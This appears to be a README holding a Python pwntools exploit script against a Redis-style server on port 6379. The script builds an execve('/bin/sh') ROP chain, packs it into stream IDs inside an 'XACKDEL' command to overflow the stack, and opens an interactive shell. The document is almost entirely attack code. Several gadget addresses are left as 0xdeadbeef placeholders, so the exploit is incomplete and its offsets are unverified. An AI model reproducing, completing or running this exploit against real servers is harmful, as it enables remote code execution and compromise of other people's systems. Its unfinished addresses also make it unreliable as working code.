README.md
Rendering markdown...
#!/usr/bin/env python3
# Thise one crashes without GDB as well
from pwn import *
# --- Configuration ---
HOST = '127.0.0.1'
PORT = 6379
# We need to send enough IDs to overwrite the return address.
# Offset is ~136 bytes. 136 / 16 bytes per ID = 8.5. So let's send 10.
NUM_IDS_TO_SEND = 10
# --- ROP Chain Addresses (replace with your actual addresses) ---
POP_RDI_RET = 0x5555555e58eb
BIN_SH_ADDR = 0x7ffff7a99ea4
# You still need to find these gadgets!
POP_RSI_RET = 0xdeadbeefdeadbeef # <-- FIND THIS
POP_RDX_RET = 0xdeadbeefdeadbeef # <-- FIND THIS
POP_RAX_RET = 0xdeadbeefdeadbeef # <-- FIND THIS
SYSCALL_RET = 0x7ffff7981ef2
# --- Main Exploit Logic ---
def trigger_overflow():
r = remote(HOST, PORT)
log.info("Setting up stream and consumer group...")
# Using 'FLUSHALL' to ensure a clean state for each run
r.sendline(b"FLUSHALL")
r.recvline()
setup_command = b"XGROUP CREATE mystream mygroup 0-0 MKSTREAM"
r.sendline(setup_command)
log.success(f"Setup response: {r.recvline().strip().decode()}")
# 1. Build the ROP chain
rop_chain = [
POP_RDI_RET, # Gadget to control RDI
BIN_SH_ADDR, # Address of "/bin/sh" string
POP_RSI_RET, # Gadget to control RSI
0, # Value for RSI (NULL)
POP_RDX_RET, # Gadget to control RDX
0, # Value for RDX (NULL)
POP_RAX_RET, # Gadget to control RAX
59, # Value for RAX (execve syscall number)
SYSCALL_RET # Gadget to make the syscall
]
rop_payload = b"".join([p64(addr) for addr in rop_chain])
# 2. Build the final flat payload (padding + ROP chain)
# The offset to the return address. You MUST verify this with cyclic!
# Let's assume it is 136.
offset_to_rip = 136
# We create a full payload that will perfectly overwrite the stack
flat_payload = cyclic(offset_to_rip) # Use a pattern for easy debugging
flat_payload = flat_payload[:offset_to_rip] # Trim to exact length
flat_payload += rop_payload
# 3. Chop the flat payload into stream IDs
payload_ids = []
# We need to send enough IDs to deliver our whole payload
num_ids_required = (len(flat_payload) + 15) // 16 # ceiling division
for i in range(num_ids_required):
# Get a 16-byte chunk for one full streamID
chunk = flat_payload[i*16 : (i+1)*16]
if len(chunk) < 16:
chunk += b'\x00' * (16 - len(chunk)) # Pad the last chunk if needed
# The first 8 bytes are ms, the second 8 are seq
ms = u64(chunk[0:8])
seq = u64(chunk[8:16])
payload_id = f"{ms}-{seq}".encode()
payload_ids.append(payload_id)
# Build and send the command
command_parts = [
b"XACKDEL", b"mystream", b"mygroup", b"IDS",
str(len(payload_ids)).encode()
] + payload_ids
payload_command = b" ".join(command_parts)
log.info("Sending precisely crafted overflow payload...")
r.sendline(payload_command)
log.success("Payload sent! Waiting for shell...")
# Keep the connection open and make it interactive to get the shell
r.interactive()
if __name__ == "__main__":
trigger_overflow()